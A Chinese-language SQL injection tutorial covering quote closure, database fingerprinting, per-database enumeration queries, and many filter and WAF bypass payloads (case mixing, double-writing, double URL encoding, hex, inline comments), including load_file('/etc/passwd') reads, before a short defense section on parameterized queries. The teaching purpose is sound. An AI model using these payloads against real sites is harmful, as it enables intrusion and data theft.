201-A4-SQL注入(下)
在本节中,我们将学习一些SQL注入中绕过网站防御机制的方法。
1. SQL注入的一些细节
当我们远程测试网站是否存在SQL注入,常常需要通过推理来进行大量测试。即看到网页上的执行结果,推理后台数据库是如何操作的。
1.1 可能存在SQL注入的功能点
SQL注入可以出现在任何从系统或接受用户输入的前段应用程序中。
换句话说,每个前端与后端数据库有交互的地方,都有可能存在SQL注入漏洞。
比如最常见的是在搜索和登录功能。但其他与数据库交互的地方也值得注意:如cookie中,XFF中。
1.2 闭合
在存在注入点的网页上,其后端代码可能是如下的几种格式:
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";
此时我们构造sql语句注入时,则要考虑闭合前面的引号括号。
因为如果注入后,破坏了原有的闭合,那么注入也会失败,所以闭合很重要,决定了最后是否可以注入成功。
如:
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
注入 1' or 1=1 --+
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
常见的闭合形式:
原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
闭合代码:
1' #
1" #
1') #
") #
')) #
常见的注释截断方法:
#
/*
-- -
;%00
`
最后,可以用and1=1,or 1=1 等语句确认闭合完成,漏洞存在。
1.3 测试列数
除了前文中提到的 order by 语句以外。
也可以用如下的形式来探测:
http://www.foo.com/index.asp?id=12+union+select+null,null--
不断增加 null 至不返回。
1.4 探测数据库指纹
在此前的实验中,我们都是使用MariaDB作为后端数据库的,其属于mysql系列数据库。
如果后端数据库不同,那么SQL注入的语句也会不同。有几种探测数据库指纹信息:
- 第一种方法找出使用后端数据库是通过观察返回的错误应用程序。 以下是一些例子的错误消息:
MySql:
You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1
Oracle:
ORA-00933: SQL command not properly ended
MS SQL Server:
Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string
PostgreSQL:
Query failed: ERROR: syntax error at or near
- 常见网页与数据库的关系。
代码与数据库并不存在绑定关系,以下只能做参考。
asp : Access/SQLServer
php : Mysql
jsp : Oracle
- 利用语句探测数据库
一种最可靠的方法是根据数据库连接字符串方式的不同进行识别。
如我们查询字符串farmsec得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成farmsec字符串。如过查询结果相同,就可以确定是哪一种数据库。
Oracle: 'farm'||'sec'
MS-SQL: 'farm'+'sec'
MySQL: 'farm' 'sec'
PostgreSQL:'farm' || 'sec'
如果注入数字数据,可以使用下面的攻击语句来识别字符串。
每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()
1.5 各类数据库注入语句
不同的数据库,需要用不同的sql语句注入。
1.5.1 MySQL数据库
| 释义 | SQL语句 | 其他 |
|---|---|---|
| 当前数据库 | SELECT database() | - |
| 所有数据库 | SELECT schema_name FROM information_schema.schemata | #版本>5.0 |
| - | SELECT distinct(db) FROM mysql.db | #管理员权限才可以执行 |
| 查询表名 | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
| 查询列名 | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
| 获取版本 | SELECT @@version | - |
| 当前用户 | SELECT user() | - |
| - | SELECT system_user() | - |
| 用户权限 | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges | #用户权限 |
| - | SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges | #数据库权限 |
| - | SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges | #字段的权限 |
| 列出DBA账户 | SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ | - |
| 选择第N行 | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 | #行从0开始编号 |
| - | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 | #行从0开始编号 |
| 选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | #返回c |
| ASCII值-字符 | SELECT char(65) | #返回A |
| 字符-ASCII值 | SELECT ascii(‘A’) | #返回65 |
| 字符串连接 | SELECT CONCAT(‘A’,‘B’) | #返回AB |
| - | SELECT CONCAT(‘A’,‘B’,‘C’) | #返回ABC |
| 时间睡眠 | SELECT BENCHMARK(1000000,MD5(‘A’)) | - |
| - | SELECT SLEEP(5) | #版本>= 5.0.12 |
1.5.2 Oracle数据库
| 释义 | SQL语句 | 其他 | |
|---|---|---|---|
| 当前数据库 | SELECT global_name FROM global_name | — | |
| - | SELECT name FROM v$database | — | |
| - | SELECT instance_name FROM v$instance | — | |
| - | SELECT SYS.DATABASE_NAME FROM DUAL | — | |
| 所有数据库 | SELECT DISTINCT owner FROM all_tables | — | |
| 查询表名 | SELECT table_name FROM all_tables | — | |
| - | SELECT owner, table_name FROM all_tables | — | |
| 查询列名 | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ | — | |
| - | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’ | — | |
| 获取版本 | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’ | — | |
| - | SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’ | — | |
| - | SELECT version FROM v$instance | — | |
| 当前用户 | SELECT user FROM dual | — | |
| 用户权限 | SELECT * FROM session_privs | #当前权限 | |
| - | SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ | #列出用户的权限 | |
| 列出DBA账户 | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’ | — | |
| 选择第N行 | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 | #第九行 | |
| 选择第N个字符 | SELECT substr(‘abcd’, 3, 1) FROM dual | #第3个字符c | |
| ASCII值-字符 | SELECT chr(65) FROM dual | #返回A | |
| 字符-ASCII值 | SELECT ascii(‘A’) FROM dual | #返回65 | |
| 字符串连接 | SELECT ‘A’ \ | ‘B’ FROM dual | #返回AB |
| 时间睡眠 | SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual | #如果反向查询很慢 | |
| - | SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual | #如果正向查询很慢 |
1.5.3 MSSQL数据库
| 释义 | SQL语句 | 其他 |
|---|---|---|
| 当前数据库 | SELECT DB_NAME() | - |
| 所有数据库 | SELECT name FROM master…sysdatabases | - |
| - | SELECT DB_NAME(N) | #N为0,1,2,… |
| 查询表名 | SELECT name FROM master…sysobjects WHERE xtype = ‘U’ | - |
| - | SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’ | - |
| 查询列名 | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) | #当前数据库 |
| - | SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’ | #列出master…sometable的列名称 |
| 获取版本 | SELECT @@version | - |
| 当前用户 | SELECT user_name() | - |
| - | SELECT system_user | - |
| - | SELECT user | - |
| 用户权限 | SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’) | #当前数据库权限 |
| - | SELECT is_srvrolemember(‘sysadmin’) | #当前用户权限 |
| 列出DBA账户 | SELECT is_srvrolemember(‘sysadmin’) | #当前用户是否是管理员,是则返回1 |
| 选择第N行 | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC | #返回第九行 |
| 选择第N个字符 | SELECT substring(‘abcd’, 3, 1) | #返回c |
| ASCII值-字符 | SELECT char(0×41) | #返回A |
| 字符-ASCII值 | SELECT ascii(‘A’) | #返回65 |
| 字符串连接 | SELECT ‘A’ + ‘B’ | #返回AB |
| 时间睡眠 | WAITFOR DELAY ‘0:0:5’ | #睡眠5秒 |
1.5.4 PostgreSQL数据库
| 释义 | SQL语句 | 其他 | |
|---|---|---|---|
| 当前数据库 | SELECT current_database() | - | |
| 所有数据库 | SELECT datname FROM pg_database | - | |
| 查询表名 | SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | - | |
| 查询列名 | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,") AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | - | |
| 获取版本 | SELECT version() | - | |
| 当前用户 | SELECT user; | - | |
| - | SELECT current_user; | - | |
| - | SELECT session_user; | - | |
| - | SELECT usename FROM pg_user; | - | |
| - | SELECT getpgusername(); | - | |
| 用户权限 | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | - | |
| 列出DBA账户 | SELECT usename FROM pg_user WHERE usesuper IS TRUE | - | |
| 选择第N行 | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 | #从0行开始编号 | |
| - | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | - | |
| 选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | #返回c | |
| ASCII值-字符 | SELECT chr(65) | #返回A | |
| 字符-ASCII值 | SELECT ascii(‘A’) | #返回65 | |
| 字符串连接 | SELECT ‘A’ \ | ‘B’ | #返回AB |
| 时间睡眠 | SELECT pg_sleep(10) | #睡眠10秒 | |
| - | SELECT sleep(10) | #创建自定义睡眠 |
2.绕过网站防御机制思路
绝大部分的网站防御机制,无论是过滤、转义或是商业waf,都是基于某种正则表达式的规则匹配而运作的。也就是说,攻击者的行为一旦匹配了某种正则表达式所预料到的特征,就可能被拦截。而绕过防御机制则是,将简单的攻击语句复杂化,使其出乎编写防御程序者的意料,同时确保被复杂化的攻击语句保持原有的功效。下面将介绍几种常见的绕过思路:
2.1 大小写绕过
一般来说,只要网站考虑了防御机制,现在的设计者是不会忘记注意大小写的。但我们还是把绕过思路从简单到复杂的讲述出来,大小写绕过是最简单的一种绕过方法,它成功的前提是网站防御规则中只匹配了字母小写的攻击语句特征。如select可能会被规则发现,SeLeCt则不会。
fsec.com/index.php?page_id=1' and 1=2 uNIoN sELecT 1,2,3,4#
2.2 双写绕过
在某些网站,会对用户提交的一段字符进行匹配,对其认为危险的字符删除,同时放过余下其认为安全的字符。
例如,用户输入1' and 1=2 union select 1,2,3,4#,经过网站的过滤机制,服务器实际接收到的则是1' and 1=2 1,2,3,4#
此时可以双写绕过:
fsec.com/index.php?page_id=1' UNIunionON SELselectECT 1,2,3,4#
经过网站过滤机制,UNIunionON SELselectECT实际变成了UNION SELECT。但要注意,这只适用于网站防御机制只匹配一次、过滤一次的情况。如果网站正则具有循环匹配,循环过滤直至匹配不到的机制,那么这种绕过方法就不再适用了。
2.3 编码绕过
如果网站防御机制未考虑过各类编码情况,那么将攻击语句编码后再发送也是一种很好的方法。
2.3.1 URL编码
通常来说,在浏览器输入URL时,浏览器会对一些字符进行URL 编码如,空格变为%20、单引号%27、左括号%28、右括号%29。而服务器收到后会对其进行解码。如果网站具备防御机制,则会对解码后的内容进行规则匹配。然而一些程序在执行了过滤之后还会执行一次不必要的解码,
比如我们输入带有url编码的字符串:
1%2527%20and%201%253d1%23,这条字符在会被解码为:1%27 and 1%3d1#,其中没有'和=,假设这样就不会触发某些防御规则,然而当waf放过这串字符后,网站程序又会执行一次不必要的解码,再次解码后文本变成如此:1' and 1=1#,这一条将被数据库执行。
2.3.2 十六进制编码
主要用于where语句后的引号问题,如:
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 0x64767761#
1 and 1=2 union select 1,load_file('/etc/passwd');#
1 and 1=2 union select 1,load_file(0x2F6574632F706173737764);#
==2.3.3 char()函数==
2.4 注释绕过
2.4.1 注释绕过针对空格的过滤
1' and 1=2 union/**/select 1,2 #
2.4.2 内联注入
/*![数据库版本][数据库函数]*/,和注释/**/的区别是多了一个感叹号,可选的数据库版本号。
这种注释在mysql中叫做内联注释,当实际的版本等于或是高于写入的[数据库版本],应用程序就会将注释内容解释为SQL命令,否则就会当做注释来处理。默认情况下,不添加数据库版本也会当做SQL命令来执行。
内联注释可以用来包裹数据库关键字和非关键字。
1' and 1=2 /*!UNION*/ /*!SELECT*/ 1,2#
1'/*asdw*/and/**/1=2/**//*!50000UNION*//*abcd*//*!50000SELECT*//**/1,2#
2.5 等价语句替换
在有些函数或命令因其关键字被检测出来而无法使用的情况下,我们可以考虑使用与之等价或类似的代码替代其使用。
sleep() 与 benchmark()
concat_ws() 与 group_concat()
mid()=substr()=substring()
sleep()与benchmark()
mysql中可用BENCHMARK(50000000,MD5(‘A’))产生延迟,执行MD5()50000000次,产生的延迟时间和服务器性能有关。
concat_ws() 与 group_concat()
concat(str1,str2,…) //没有分隔符得连接字符串,
concat_ws(separator,str1,str2,…) //含有分隔符得连接字符串
group_concat(str1,str2,…) //连接一个组的所有字符串,并以逗号分割每条数据
2.6 常见过滤字符及绕过
当空格被过滤后,可通过以下方法绕过:
注释代替空格
select * from tb1 where name='asd';
等价:
select/**/*/**/from/**/tb1/**/where/**/name='asd';
括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');
引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
等价:
select name from tb1 where name ='asd'and'1'='1';
特殊字符代替空格
如下特殊字符可代替空格:
%09 水平定位符号%0a 换行符%0c 换页符%0d 回车%0b 垂直定位符号
用Tab代替空格
过滤union\select
绕过示例:过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode,ascii(char),hex,unicode编码绕过关键字
内联绕所有/*!union*//*!select*/
过滤引号
可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;
过滤=
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=
过滤逗号
在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2); #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2); #从第一个字符开始截取2个
过滤注释符
测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1;
这时候可以传入1' or '1'='1 ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;
过滤where
逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤limit
逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤group by
逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤hex
逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤substr
逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'
过滤and,or
#等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
等价and
假如:select * from tb1 where id=1 and 1=1
此时和and等价关键字有:like(1 like 1。like可跟通配符。),rlike(1 rlike 1 rlike可跟正则表达式。),regexp(1 regexp 1 regexp可跟正则表达式。),&(1 && 1 ,逻辑与),&&(1 & 1,按位与,任意数&0的值为0),与and的结果都是1.
等价or
假如:select * from tb1 where id=1 or 1=1;
此时等价or的关键字有:|| (逻辑或),| (按位或),任意数|0的值为任意数
3.sql注入的防御方法
3.1 过滤
可以对用户提交的敏感字符进行过滤和拦截。
3.2 转义
可以对用户提交的敏感字符进行转义。
3.3 参数化查询
参数化查询也叫做预处理,它分两个步骤处理用户的输入。
- 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符。
- 网站应用程序指定每个占位符的内容。
在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构。这样,网站应用程序就不会将用户输入判断为sql语句执行了,而会把用户的输入当做一个整体去查询。
3.4 加密存储
对重要数据,不在表单中明文存储,而选择加密存储。
3.5 限制数据库权限和特权
将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。











